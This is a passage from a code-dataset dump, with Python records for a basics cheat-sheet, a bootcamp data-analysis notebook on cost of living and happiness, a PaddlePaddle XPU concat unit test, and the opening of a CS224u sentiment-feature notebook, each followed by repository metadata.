3\"\ndata = [int(d) for d in data.split()]\nprint(data)\n\n#This is most useful to get multiple inputs separated by spaces:\n#first, last = input().split()\n\npets = ['dog', 'dog', 'cat', 'bird', 'cat', 'chicken', 'cat', 'dog']\n\nclean_pets = [pet for pet in pets if pet not in ['cat', 'chicken']]\nprint(clean_pets)\n# ['dog', 'dog', 'bird', 'dog']\n\n# no do-while in python\n\n# assign a functin to a variable\nvar_main = main # dont use ()\n\n# time.sleep(1) # wait whit import time // time.sleep\n\npairs = [[5, 10],[15, 20],[25, 30, 35, 40]]\nflat_list = [item for pair in pairs for item in pair]\n# [5, 10, 15, 20, 25, 30, 35, 40]\n\n# Wrapping a Primitive to change within function\n# Class parenthesis optional but not function parenthesis\n# The() are optional for classes. Only needed if you're inheriting. However, function() are always required when defining.\nclass Container:\n  def __init__(self, data):\n    self.data = data\n\ndef calculate(input):\n  input.data **= 5\n\ncontainer = Container(5)\ncalculate(container)\nprint(container.data) # 3125\n\nc1 = Container(5)\nc2 = Container(5)\nprint(c1 is c2) #better code # false\nprint(c1 == c2) # same values\nprint(c1 is c2) # different objects\n\n# Add a method dynamically\ndef __eq__(self, other):\n  return self.data == other.data\nContainer.__eq__ = __eq__\nprint(Container.__eq__)\n\n# Runtime error vs syntax error\n# Syntax errors are impossible to be correct and will prevent execution\n# Runtime errors deal with incorrect data found during runtime\n\nfrom random import randint as r # atribbute function to variable\nprint(r(0, 12)) #inclusive #inclusive\n\n\ndef fib(count):\n  a, b = 0, 1\n  while count:\n    yield a\n    a, b, = b, b + a\n    count -= 1\n\ngen = fib(100)\nprint(next(gen), next(gen), next(gen), next(gen), next(gen))\n\nfor i in fib(20):\n  print(i, end=\" \")\n\n# 0 1 1 2 3\n# 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 2584 4181\n\n#inf = (float('inf')) #other way without math.\nprint(math.inf)\n\ndef fib():\n  a, b = 0, 1\n  while True:\n    yield a\n    a, b, = b, b + a\n\nprint(list(itertools.islice(fib(), 20)))\n# [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181]\n\nnames = ['Caleb', 'Corey', 'Chris', 'Samantha']\npoints = [100, 250, 30, 600]\nzipped = list(zip(names, points))\nprint(zipped)\n# [('Caleb', 100), ('Corey', 250), ('Chris', 30), ('Samantha', 600)]\ndata = [list(item) for item in zipped]\nprint(data)\n# [['Caleb', 100], ['Corey', 250], ['Chris', 30], ['Samantha', 600]]\n\nnames = ['Caleb', 'Corey', 'Chris', 'Samantha', \"Hannah\", \"Kelly\"]\npoints = [100, 250, 30, 600]\nzipped = list(zip_longest(names, points))\nprint(zipped)\n# [('Caleb', 100), ('Corey', 250), ('Chris', 30), ('Samantha', 600), ('Hannah', None), ('Kelly', None)]\n\n\ndef zip_lists(list1=[], list2=[], longest=True):\n  if longest:\n    return [list(item) for item in zip_longest(list1, list2)]\n  else:\n    return [list(item) for item in zip(list1, list2)]\n\nnames = ['Caleb', 'Corey', 'Chris', 'Samantha', \"Hannah\", \"Kelly\"]\npoints = [100, 250, 30, 600]\nprint(zip_lists(names, points))\n# [['Caleb', 100], ['Corey', 250], ['Chris', 30], ['Samantha', 600], ['Hannah', None], ['Kelly', None]]\n\nprint(python_version())\n# 3.9.8\n\nx = set()\ny = {1, 2, 3, 4, 4} # set # {1, 2, 3, 4}\nz = {} # dict\ny.add(5)\ny.remove(1)\ny = {2, 3, 4, 5}\nw = [2, 3, 4, 5]\nprint(2 in y) # faster\nprint(2 in w) # lowest\n# y.union()\n# y.intersection()\n# y.difference()\n\ndel fruits['avocado']\nprint(list(fruits.keys()))\nprint(list(fruits.values()))\n\nw = [i for i in range(100) if i % 5 == 0] # list\nx = {i for i in range(100) if i % 5 == 0} # set\ny = {i:0 for i in range(100) if i % 5 == 0} # dictionary\nz = (i for i in range(100) if i % 5 == 0) # generated\nz = tuple(i for i in range(100) if i % 5 == 0) # tuple\n\ndef func(*args, **kwargs):\n  print(args, kwargs)\n\nfunc(1, 2, 3, 4, 5, one=1, two=2)\n\n# scopes and global\nx = 'pep' # global\ndef func(name):\n  x = name # local\n\nx = 'pep' # global\ndef func(name):\n  global x\n  x = name # global... never use\n\ntry:\n  x = 7 / 0\nexcept Exception as e:\n  print(e)\nfinally:\n  print('done')\n\nx = [1, 2, 23, 54, 123, 56, 324, 34, 6]\nmp = map(lambda i: i + 2, x)\nprint(list(mp))  # [3, 4, 25, 56, 125, 58, 326, 36, 8]\nmp = filter(lambda i: i % 4 == 0, x)\nprint(list(mp))  # [56, 324]\n\nfrom functools import cache, lru_cache\n\n# @cache\n# @lru_cache(maxsize=5)\n\n# isinstance(p, tuple) # verify subclasses\n\n# import numpy as np\n", "meta": {"hexsha": "d3cb33cfc7106d8d085b219fe283b1428bb2ff0f", "size": 14480, "ext": "py", "lang": "Python", "max_stars_repo_path": "basics.py", "max_stars_repo_name": "pedromchd/pythoning", "max_stars_repo_head_hexsha": "68550d0817389d0c909cc2b82968c4bfe1ac371e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "basics.py", "max_issues_repo_name": "pedromchd/pythoning", "max_issues_repo_head_hexsha": "68550d0817389d0c909cc2b82968c4bfe1ac371e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "basics.py", "max_forks_repo_name": "pedromchd/pythoning", "max_forks_repo_head_hexsha": "68550d0817389d0c909cc2b82968c4bfe1ac371e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.0931780366, "max_line_length": 122, "alphanum_fraction": 0.6147099448, "include": true, "reason": "import numpy", "num_tokens": 5286, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014734858584297, "lm_q2_score": 0.15405756074950905, "lm_q1q2_score": 0.06626745128600375}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Team13: Capstone project of Python Bootcamp\n# \n# This is [the Capstone project for Team 13 of the Python Data Analysis Bootcamp](https://github.com/pyladiesams/Bootcamp-Data-Analysis-beginner-apr-may2020/blob/master/Capstone/README.md).\n# We are trying, more or less, to follow the structure of [jupytemplate](https://github.com/xtreamsrl/jupytemplate/blob/master/jupytemplate/jupytemplate/template.ipynb).\n# \n# ## Purpose\n# \n# State the purpose of the notebook.\n# \n# ## Methology\n# \n# Quickly describe assumptions and processing steps.\n# \n# ## TODO / Improvements\n# \n# * [x] Find a dataset that has at least 2 CSV files\n# * [ ] Come up with 5 questions that you want to answer while exploring the dataset\n# * [ ] Perform EDA (Exploratoty Data Analysis) on your dataset with basic visualisations\n# \n# ## Results\n\n# ## Setup\n\n# In[1]:\n\n\n# install system dependencies\nimport sys\nimport os\n\nget_ipython().system('conda install -c conda-forge --yes --prefix {sys.prefix} pandas jupyterthemes seaborn jupyter_contrib_nbextensions pandoc')\n\n\n# ### Library Import\n\n# In[2]:\n\n\n# load libraries and setup environment\n# mandatory\nimport pandas as pd\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nimport matplotlib.pyplot as plt\n\n# optional\nimport numpy as np\nimport seaborn as sns\nfrom jupyterthemes import jtplot\nfrom IPython.core.display import HTML\njtplot.style(theme='monokai', context='notebook', ticks=True, grid=False)\n\n\n# ## Parameter definition\n# \n# We set all relevant parameters for our notebook. By convention, parameters are uppercase, while all the other variables follow Python's guidelines.\n\n# In[3]:\n\n\nCOAST_COLUMN = \"Coastline (coast/area ratio)\"\nCOUNTRY_COLUMN = 'Country'\nSATISFACTION_COLUMN = \"People with highest life satisfaction [%]\"\n\n\n# ## Data import\n# We retrieve all the required data for the analysis.\n\n# In[4]:\n\n\ncost_of_living = pd.read_csv('../data/andytran11996_cost-of-living/datasets_73059_162758_cost-of-living-2018.csv')\n\n# we are droppping the Rank column because it's entirely empty\ncost_of_living = cost_of_living.drop(columns = 'Rank')\n\nlife_satisfaction = pd.read_csv('../data/roshansharma_europe-datasets/datasets_231225_493692_life_satisfaction_2013.csv')\nlife_satisfaction = life_satisfaction.rename(columns = { \"prct_life_satis_high\": \"People with highest life satisfaction [%]\", \"country\": \"Country\" })\nlife_satisfaction['Country'] = life_satisfaction['Country'].astype(str)\nlife_satisfaction['Country'] = life_satisfaction['Country'].str.strip()\n\ngeneric_country_data = pd.read_csv('../data/fernandol_countries-of-the-world/datasets_23752_30346_countries of the world.csv', decimal=',')\ngeneric_country_data['Country'] = generic_country_data['Country'].astype(str)\ngeneric_country_data['Country'] = generic_country_data['Country'].str.strip()\ngeneric_european_country_data = generic_country_data[generic_country_data['Region'].str.contains('EUROPE', case = False)]\n\nprint('successfully imported the datasets.')\n\n\n# ## Data processing\n# \n# ### 1. What are the five cities with the highest/lowest cost of living (incl. rent)?\n\n# In[5]:\n\n\ncaption_column = 'City'\nindex_column = 'Cost of Living Plus Rent Index'\n\ndef display_cost_of_living(costs, title):\n    filtered_costs = costs[[caption_column, index_column]].sort_values(index_column, ascending = True)\n    filtered_costs.plot.barh(title = title, x = caption_column, y = index_column)\n    plt.show();\n    display(filtered_costs.sort_values(index_column, ascending = False).style.hide_index())\n\n# print the ten most expensive cities in the database in 2018\ndisplay_cost_of_living(cost_of_living.nlargest(5, index_column), 'Largest Rent Index')\ndisplay_cost_of_living(cost_of_living.nsmallest(5, index_column), 'Smallest Rent Index')\n\n\n# ## 2. What are the five happiest countries in Europe?\n\n# In[6]:\n\n\nindex_column = \"People with highest life satisfaction [%]\"\ncaption_column = 'Country'\n\ntop_countries_life_satisfaction = life_satisfaction[[caption_column, index_column]]\ntop_countries_life_satisfaction = top_countries_life_satisfaction.nlargest(5, index_column)\ntop_countries_life_satisfaction = top_countries_life_satisfaction.sort_values(index_column, ascending = True)\ntop_countries_life_satisfaction.plot.barh(title = 'Percentage of satisfied people', x = caption_column, y = index_column);\nplt.show();\ndisplay(top_countries_life_satisfaction.sort_values(index_column, ascending = False).style.hide_index())\n\n\n# ## 3. What are the European countries with the most coast line in relation to their area?\n\n# In[7]:\n\n\nindex_column = \"Coastline (coast/area ratio)\"\ncaption_column = 'Country'\n\ncoastline_data = generic_european_country_data[[caption_column, index_column]]\n\ncoastline_data = coastline_data.nlargest(5, index_column)\ncoastline_data = coastline_data.sort_values(index_column, ascending = True)\ncoastline_data.plot.barh(title = 'Countries with the most coast line in relation to their area', x = caption_column, y = index_column);\nplt.show();\ndisplay(coastline_data.sort_values(index_column, ascending = False).style.hide_index())\n\n\n# ## 4. Is there a correlation between happiness and access to a coastline?\n\n# In[9]:\n\n\nmerged = pd.merge(generic_european_country_data, life_satisfaction, on = COUNTRY_COLUMN, how = 'inner')  \n\ncoastline_data = generic_european_country_data[[COAST_COLUMN, COUNTRY_COLUMN]]\n\n# sort by coast\nmerged = merged.sort_values(COAST_COLUMN, ascending = True, ignore_index = True)\n\nax = plt.gca()\nmerged.plot(kind = 'line', y = COAST_COLUMN, x = COUNTRY_COLUMN ,ax=ax)\nmerged.plot(kind = 'line', y = SATISFACTION_COLUMN, x = COUNTRY_COLUMN ,ax=ax)\n\nplt.grid(b = True, color = 'aqua', alpha = 0.1, linestyle = 'dashdot')\nplt.show();\n\n\n# ## References\n# \n# * [data for the cost of living](https://www.kaggle.com/andytran11996/cost-of-living/)\n# * [base data for countries of the world](https://www.kaggle.com/fernandol/countries-of-the-world)\n# * [data for life expectancy from the WHO](https://www.kaggle.com/kumarajarshi/life-expectancy-who)\n# * [roshansharma_europe-datasets](https://www.kaggle.com/roshansharma/europe-datasets)\n", "meta": {"hexsha": "5ec0364db6b43e2ae3cbc612286b20220229c8b4", "size": 6108, "ext": "py", "lang": "Python", "max_stars_repo_path": "deliver/team13_capstone_project.py", "max_stars_repo_name": "s-gerber/python_bootcamp_team13", "max_stars_repo_head_hexsha": "127a9d4a2190d2dcd170f1a1a168591c9d9bc28c", "max_stars_repo_licenses": ["RSA-MD"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "deliver/team13_capstone_project.py", "max_issues_repo_name": "s-gerber/python_bootcamp_team13", "max_issues_repo_head_hexsha": "127a9d4a2190d2dcd170f1a1a168591c9d9bc28c", "max_issues_repo_licenses": ["RSA-MD"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "deliver/team13_capstone_project.py", "max_forks_repo_name": "s-gerber/python_bootcamp_team13", "max_forks_repo_head_hexsha": "127a9d4a2190d2dcd170f1a1a168591c9d9bc28c", "max_forks_repo_licenses": ["RSA-MD"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.3063583815, "max_line_length": 189, "alphanum_fraction": 0.7680091683, "include": true, "reason": "import numpy", "num_tokens": 1515, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167300566462564, "lm_q2_score": 0.1500288262426238, "lm_q1q2_score": 0.06626368262291552}}
{"text": "#   Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport sys\n\nsys.path.append(\"..\")\nimport unittest\nimport numpy as np\n\nimport paddle.fluid as fluid\nfrom paddle.fluid import compiler, Program, program_guard, core\nimport paddle\nfrom op_test import OpTest, skip_check_grad_ci\nfrom op_test_xpu import XPUOpTest\nfrom xpu.get_test_cover_info import create_test_class, get_xpu_op_support_types, XPUOpTestWrapper\n\npaddle.enable_static()\n\n\nclass XPUTestConcatOp(XPUOpTestWrapper):\n    def __init__(self):\n        self.op_name = 'concat'\n        self.use_dynamic_create_class = False\n\n    class TestConcatOp(XPUOpTest):\n        def setUp(self):\n            self.set_xpu()\n            self.op_type = \"concat\"\n            self.place = paddle.XPUPlace(0)\n            self.init_dtype()\n            self.init_axis()\n            self.set_inputs()\n            self.inputs = {\n                'X': [('x0', self.x0), ('x1', self.x1), ('x2', self.x2)]\n            }\n            self.attrs = {'axis': self.axis}\n            if self.axis < 0:\n                self.actual_axis = self.axis + len(self.x0.shape)\n                self.actual_axis = self.actual_axis if self.actual_axis > 0 else 0\n            else:\n                self.actual_axis = self.axis\n\n            self.outputs = {\n                'Out': np.concatenate(\n                    (self.x0, self.x1, self.x2), axis=self.actual_axis)\n            }\n\n        def set_inputs(self):\n            self.x0 = np.random.random((2, 3, 4, 5)).astype(self.dtype)\n            self.x1 = np.random.random((2, 3, 4, 5)).astype(self.dtype)\n            self.x2 = np.random.random((2, 3, 4, 5)).astype(self.dtype)\n\n        def set_xpu(self):\n            self.__class__.use_xpu = True\n            self.__class__.no_need_check_grad = True\n\n        def init_dtype(self):\n            self.dtype = self.in_type\n\n        def init_axis(self):\n            self.axis = -1\n\n        def test_check_output(self):\n            self.check_output_with_place(self.place)\n\n        def test_check_grad(self):\n            if paddle.is_compiled_with_xpu():\n                place = paddle.XPUPlace(0)\n                self.check_grad_with_place(place, ['x0'], 'Out')\n                self.check_grad_with_place(place, ['x1'], 'Out')\n                self.check_grad_with_place(place, ['x2'], 'Out')\n\n    class TestConcatOpAxis0XPU(TestConcatOp):\n        def init_axis(self):\n            self.axis = 0\n\n    class TestConcatOpAxis1XPU(TestConcatOp):\n        def set_inputs(self):\n            self.x0 = np.random.random((5, 1, 4, 5)).astype(self.dtype)\n            self.x1 = np.random.random((5, 2, 4, 5)).astype(self.dtype)\n            self.x2 = np.random.random((5, 3, 4, 5)).astype(self.dtype)\n\n        def init_axis(self):\n            self.axis = 1\n\n    class TestConcatOpAxis2XPU(TestConcatOp):\n        def init_axis(self):\n            self.axis = 2\n\n    class TestConcatOpAxis3XPU(TestConcatOp):\n        def init_axis(self):\n            self.axis = 3\n\n    class TestConcatOpAxisNeg1XPU(TestConcatOp):\n        def init_axis(self):\n            self.axis = -1\n\n    class TestConcatOpAxisNeg2XPU(TestConcatOp):\n        def init_axis(self):\n            self.axis = -2\n\n    class TestConcatOpAxisNeg3XPU(TestConcatOp):\n        def init_axis(self):\n            self.axis = -3\n\n    @skip_check_grad_ci(\n        reason=\"The function 'check_grad' for large inputs is too slow.\")\n    class TestConcatOp3(TestConcatOp):\n        def set_inputs(self):\n            self.x0 = np.random.random((1, 256, 170, 256)).astype(self.dtype)\n            self.x1 = np.random.random((1, 128, 170, 256)).astype(self.dtype)\n            self.x2 = np.random.random((1, 128, 170, 256)).astype(self.dtype)\n            self.axis = 1\n\n        def test_check_grad(self):\n            pass\n\n    @skip_check_grad_ci(\n        reason=\"This test will meet fetch error when there is a null grad. The detailed information is in PR#17015.\"\n    )\n    class TestConcatOp4(TestConcatOp):\n        def set_inputs(self):\n            self.x0 = np.random.random((2, 3, 4, 5)).astype(self.dtype)\n            self.x1 = np.random.random((2, 3, 4, 5)).astype(self.dtype)\n            self.x2 = np.random.random((0, 3, 4, 5)).astype(self.dtype)\n            self.axis = 0\n\n        def test_check_grad(self):\n            pass\n\n\nsupport_types = get_xpu_op_support_types('concat')\nfor stype in support_types:\n    create_test_class(globals(), XPUTestConcatOp, stype)\n\nif __name__ == '__main__':\n    paddle.enable_static()\n    unittest.main()\n", "meta": {"hexsha": "3f188e78f86c2d7f6805bf53e625ea8366706904", "size": 5079, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_concat_op_xpu.py", "max_stars_repo_name": "ZibinGuo/Paddle", "max_stars_repo_head_hexsha": "6e0892312de5e4ba76d980ff0e4322ac55ca0d07", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2016-08-15T07:02:27.000Z", "max_stars_repo_stars_event_max_datetime": "2016-08-24T09:34:00.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_concat_op_xpu.py", "max_issues_repo_name": "ZibinGuo/Paddle", "max_issues_repo_head_hexsha": "6e0892312de5e4ba76d980ff0e4322ac55ca0d07", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-01-28T07:23:22.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-28T07:23:22.000Z", "max_forks_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_concat_op_xpu.py", "max_forks_repo_name": "ZibinGuo/Paddle", "max_forks_repo_head_hexsha": "6e0892312de5e4ba76d980ff0e4322ac55ca0d07", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-03-02T11:36:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-02T11:36:03.000Z", "avg_line_length": 33.4144736842, "max_line_length": 116, "alphanum_fraction": 0.6154754873, "include": true, "reason": "import numpy", "num_tokens": 1267, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167299096624174, "lm_q2_score": 0.15002881864182907, "lm_q1q2_score": 0.06626367706066849}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Supervised sentiment: hand-built feature functions\n\n# In[1]:\n\n\n__author__ = \"Christopher Potts\"\n__version__ = \"CS224u, Stanford, Spring 2020\"\n\n\n# ## Contents\n# \n# 1. [Overview](#Overview)\n# 1. [Set-up](#Set-up)\n# 1. [Feature functions](#Feature-functions)\n# 1. [Building datasets for experiments](#Building-datasets-for-experiments)\n# 1. [Basic optimization](#Basic-optimization)\n#   1. [Wrapper for SGDClassifier](#Wrapper-for-SGDClassifier)\n#   1. [Wrapper for LogisticRegression](#Wrapper-for-LogisticRegression)\n#   1. [Other scikit-learn models](#Other-scikit-learn-models)\n# 1. [Experiments](#Experiments)\n#   1. [Experiment with default values](#Experiment-with-default-values)\n#   1. [A dev set run](#A-dev-set-run)\n#   1. [Assessing BasicSGDClassifier](#Assessing-BasicSGDClassifier)\n#   1. [Comparison with the baselines from Socher et al. 2013](#Comparison-with-the-baselines-from-Socher-et-al.-2013)\n#   1. [A shallow neural network classifier](#A-shallow-neural-network-classifier)\n#   1. [A softmax classifier in PyTorch](#A-softmax-classifier-in-PyTorch)\n# 1. [Hyperparameter search](#Hyperparameter-search)\n#   1. [utils.fit_classifier_with_crossvalidation](#utils.fit_classifier_with_crossvalidation)\n#   1. [Example using LogisticRegression](#Example-using-LogisticRegression)\n#   1. [Example using BasicSGDClassifier](#Example-using-BasicSGDClassifier)\n# 1. [Statistical comparison of classifier models](#Statistical-comparison-of-classifier-models)\n#   1. [Comparison with the Wilcoxon signed-rank test](#Comparison-with-the-Wilcoxon-signed-rank-test)\n#   1. [Comparison with McNemar's test](#Comparison-with-McNemar's-test)\n\n# ## Overview\n# \n# * The focus of this notebook is __building feature representations__ for use with (mostly linear) classifiers (though you're encouraged to try out some non-linear ones as well!).\n# \n# * The core characteristics of the feature functions we'll build here:\n#    * They represent examples in __very large, very sparse feature spaces__.\n#    * The individual feature functions can be __highly refined__, drawing on expert human knowledge of the domain. \n#    * Taken together, these representations don't comprehensively represent the input examples. They just identify aspects of the inputs that the classifier model can make good use of (we hope).\n#    \n# * These classifiers tend to be __highly competitive__. We'll look at more powerful deep learning models in the next notebook, and it will immediately become apparent that it is very difficult to get them to measure up to well-built classifiers based in sparse feature representations.\n\n# ## Set-up\n# \n# See [the previous notebook](sst_01_overview.ipynb#Set-up) for set-up instructions.\n\n# In[2]:\n\n\nfrom collections import Counter\nimport os\nfrom sklearn.linear_model import LogisticRegression\nimport scipy.stats\nfrom np_sgd_classifier import BasicSGDClassifier\nimport torch.nn as nn\nfrom torch_shallow_neural_classifier import TorchShallowNeuralClassifier\nimport sst\nimport utils\n\n\n# In[3]:\n\n\n# Set all the random seeds for reproducibility. Only the\n# system and torch seeds are relevant for this notebook.\n\nutils.fix_random_seeds()\n\n\n# In[4]:\n\n\nSST_HOME = os.path.join('data', 'trees')\n\n\n# ## Feature functions\n# \n# * Feature representation is arguably __the most important step in any machine learning task__. As you experiment with the SST, you'll come to appreciate this fact, since your choice of feature function will have a far greater impact on the effectiveness of your models than any other choice you make.\n# \n# * We will define our feature functions as `dict`s mapping feature names (which can be any object that can be a `dict` key) to their values (which must be `bool`, `int`, or `float`). \n# \n# * To prepare for optimization, we will use `sklearn`'s [DictVectorizer](http://scikit-learn.org/stable/modules/generated/sklearn.feature_extraction.DictVectorizer.html) class to turn these into matrices of features. \n# \n# * The `dict`-based approach gives us a lot of flexibility and frees us from having to worry about the underlying feature matrix.\n\n# A typical baseline or default feature representation in NLP or NLU is built from unigrams. Here, those are the leaf nodes of the tree:\n\n# In[5]:\n\n\ndef unigrams_phi(tree):\n    \"\"\"The basis for a unigrams feature function.\n    \n    Parameters\n    ----------\n    tree : nltk.tree\n        The tree to represent.\n    \n    Returns\n    -------    \n    defaultdict\n        A map from strings to their counts in `tree`. (Counter maps a \n        list to a dict of counts of the elements in that list.)\n    \n    \"\"\"\n    return Counter(tree.leaves())\n\n\n# In the docstring for `sst.sentiment_treebank_reader`, I pointed out that the labels on the subtrees can be used in a way that feels like cheating. Here's the most dramatic instance of this: `root_daughter_scores_phi` uses just the labels on the daughters of the root to predict the root (label). This will result in performance well north of 90% F1, but that's hardly worth reporting. (Interestingly, using the labels on the leaf nodes is much less powerful.) Anyway, don't use this function!\n\n# In[6]:\n\n\ndef root_daughter_scores_phi(tree):    \n    \"\"\"The best way we've found to cheat without literally using the \n    labels as part of the feature representations. \n    \n    Don't use this for any real experiments!\n    \n    \"\"\"\n    return Counter([child.label() for child in tree])\n\n\n# It's generally good design to __write lots of atomic feature functions__ and then bring them together into a single function when running experiments. This will lead to reusable parts that you can assess independently and in sub-groups as part of development.\n\n# ## Building datasets for experiments\n# \n# The second major phase for our analysis is a kind of set-up phase. Ingredients:\n# \n# * A reader like `train_reader`\n# * A feature function like `unigrams_phi`\n# * A class function like `binary_class_func`\n# \n# The convenience function `sst.build_dataset` uses these to build a dataset for training and assessing a model. See its documentation for details on how it works. Much of this is about taking advantage of `sklearn`'s many functions for model building.\n\n# In[7]:\n\n\ntrain_dataset = sst.build_dataset(\n    SST_HOME,\n    reader=sst.train_reader,\n    phi=unigrams_phi,\n    class_func=sst.binary_class_func,\n    vectorizer=None)\n\n\n# In[9]:\n\n\ntrain_dataset['X'].shape\n\n\n# In[10]:\n\n\nprint(\"Train dataset with unigram features has {:,} examples and {:,} features\".format(\n        *train_dataset['X'].shape))\n\n\n# Notice that `sst.build_dataset` has an optional argument `vectorizer`:\n# \n# * If it is `None`, then a new vectorizer is used and returned as `dataset['vectorizer']`. This is the usual scenario when training. \n# \n# * For evaluation, one wants to represent examples exactly as they were represented during training. To ensure that this happens, pass the training `vectorizer` to this function:\n\n# In[11]:\n\n\ndev_dataset = sst.build_dataset(\n    SST_HOME,\n    reader=sst.dev_reader,\n    phi=unigrams_phi,\n    class_func=sst.binary_class_func,\n    vectorizer=train_dataset['vectorizer'])\n\n\n# In[12]:\n\n\nprint(\"Dev dataset with unigram features has {:,} examples \"\n      \"and {:,} features\".format(*dev_dataset['X'].shape))\n\n\n# ## Basic optimization\n# \n# We're now in a position to begin training supervised models!\n# \n# For the most part, in this course, we will not study the theoretical aspects of machine learning optimization, concentrating instead on how to optimize systems effectively in practice. That is, this isn't a theory course, but rather an experimental, project-oriented one.\n# \n# Nonetheless, we do want to avoid treating our optimizers as black boxes that work their magic and give us some assessment figures for whatever we feed into them. That seems irresponsible from a scientific and engineering perspective, and it also sends the false signal that the optimization process is inherently mysterious. So we do want to take a minute to demystify it with some simple code.\n# \n# The module `np_sgd_classifier` contains a complete optimization framework, as `BasicSGDClassifier`. Well, it's complete in the sense that it achieves our full task of supervised learning. It's incomplete in the sense that it is very basic. You probably wouldn't want to use it in experiments. Rather, we're going to encourage you to rely on `sklearn` for your experiments (see below). Still, this is a good basic picture of what's happening under the hood.\n# \n# So what is `BasicSGDClassifier` doing? The heart of it is the `fit` function (reflecting the usual `sklearn` naming system). This method implements a hinge-loss stochastic sub-gradient descent optimization. Intuitively, it works as follows:\n# \n# 1. Start by assuming that all the feature weights are `0`.\n# 1. Move through the dataset instance-by-instance in random order.\n# 1. For each instance, classify it using the current weights. \n# 1. If the classification is incorrect, move the weights in the direction of the correct classification\n# \n# This process repeats for a user-specified number of iterations (default `10` below), and the weight movement is tempered by a learning-rate parameter `eta` (default `0.1`). The output is a set of weights that can be used to make predictions about new (properly featurized) examples.\n# \n# In more technical terms, the objective function is \n# \n# $$\n#   \\min_{\\mathbf{w} \\in \\mathbb{R}^{d}}\n#   \\sum_{(x,y)\\in\\mathcal{D}} \n#   \\max_{y'\\in\\mathbf{Y}}\n#   \\left[\\mathbf{Score}_{\\textbf{w}, \\phi}(x,y') + \\mathbf{cost}(y,y')\\right] - \\mathbf{Score}_{\\textbf{w}, \\phi}(x,y)\n# $$\n# \n# where $\\mathbf{w}$ is the set of weights to be learned, $\\mathcal{D}$ is the training set of example&ndash;label pairs, $\\mathbf{Y}$ is the set of labels, $\\mathbf{cost}(y,y') = 0$ if $y=y'$, else $1$, and $\\mathbf{Score}_{\\textbf{w}, \\phi}(x,y')$ is the inner product of the weights \n# $\\mathbf{w}$ and the example as featurized according to $\\phi$.\n# \n# The `fit` method is then calculating the sub-gradient of this objective. In succinct pseudo-code:\n# \n# * Initialize $\\mathbf{w} = \\mathbf{0}$\n# * Repeat $T$ times:\n#     * for each $(x,y) \\in \\mathcal{D}$ (in random order):\n#         * $\\tilde{y} = \\text{argmax}_{y'\\in \\mathcal{Y}} \\mathbf{Score}_{\\textbf{w}, \\phi}(x,y') + \\mathbf{cost}(y,y')$\n#         * $\\mathbf{w} =  \\mathbf{w} + \\eta(\\phi(x,y) - \\phi(x,\\tilde{y}))$\n#         \n# This is very intuitive \u2013 push the weights in the direction of the positive cases. It doesn't require any probability theory. And such loss functions have proven highly effective in many settings. For a more powerful version of this classifier, see [sklearn.linear_model.SGDClassifier](http://scikit-learn.org/stable/modules/generated/sklearn.linear_model.SGDClassifier.html#sklearn.linear_model.SGDClassifier). With `loss='hinge'`, it should behave much like `BasicSGDClassifier` (but faster!).\n\n# ### Wrapper for SGDClassifier\n# \n# For the sake of our experimental framework, a simple wrapper for `SGDClassifier`:\n\n# In[13]:\n\n\ndef fit_basic_sgd_classifier(X, y):    \n    \"\"\"Wrapper for `BasicSGDClassifier`.\n    \n    Parameters\n    ----------\n    X : 2d np.array\n        The matrix of features, one example per row.        \n    y : list\n        The list of labels for rows in `X`.\n    \n    Returns\n    -------\n    BasicSGDClassifier\n        A trained `BasicSGDClassifier` instance.\n    \n    \"\"\"    \n    mod = BasicSGDClassifier()\n    mod.fit(X, y)\n    return mod\n\n\n# ### Wrapper for LogisticRegression\n# \n# As I said above, we likely don't want to rely on `BasicSGDClassifier` (though it does a good job with SST!). Instead, we want to rely on `sklearn`. Here's a simple wrapper for [sklearn.linear.model.LogisticRegression](http://scikit-learn.org/stable/modules/generated/sklearn.linear_model.LogisticRegression.html) using our \n# `build_dataset` paradigm.\n\n# In[14]:\n\n\ndef fit_softmax_classifier(X, y):    